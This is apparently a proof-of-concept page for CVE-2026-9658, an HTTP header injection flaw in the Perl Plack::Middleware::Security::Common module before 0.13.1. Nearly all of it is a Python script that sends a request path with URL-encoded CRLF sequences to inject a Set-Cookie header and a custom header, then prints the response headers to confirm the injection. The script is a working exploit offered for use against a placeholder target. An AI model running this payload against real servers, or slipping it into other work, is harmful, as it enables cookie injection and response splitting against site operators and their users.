CVE-2026-9658 Plack中间件请求路径HTTP头注入漏洞

# CVE-2026-9658 PoC - HTTP Header Injection in Plack::Middleware::Security::Common # Affected: Plack::Middleware::Security::Common < 0.13.1 import requests import urllib.parse target_url = "http://target-server.com" # Malicious request path with CRLF injection to add extra headers # The backslash-r and backslash-n represent CR and LF characters malicious_path = "/path%0d%0aSet-Cookie:%20evil=value%0d%0aX-Injected-Header:%20test" # Alternative: Direct CRLF characters (may need URL encoding) # malicious_path = "/path\r\nSet-Cookie: evil=value\r\nX-Injected-Header: test" full_url = f"{target_url}{malicious_path}" print(f"[*] Sending malicious request to: {full_url}") print(f"[*] Target: {target_url}") print(f"[*] Malicious path: {malicious_path}") try: # Send the malicious request response = requests.get(full_url, timeout=10) print(f"\n[+] Response Status: {response.status_code}") print(f"[+] Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") # Check if injected headers were processed if 'X-Injected-Header' in response.headers or 'Set-Cookie' in response.headers: print("\n[!] VULNERABLE: Header injection successful!") else: print("\n[*] No obvious header injection detected (may require further analysis)") except requests.exceptions.RequestException as e: print(f"\n[-] Request failed: {e}")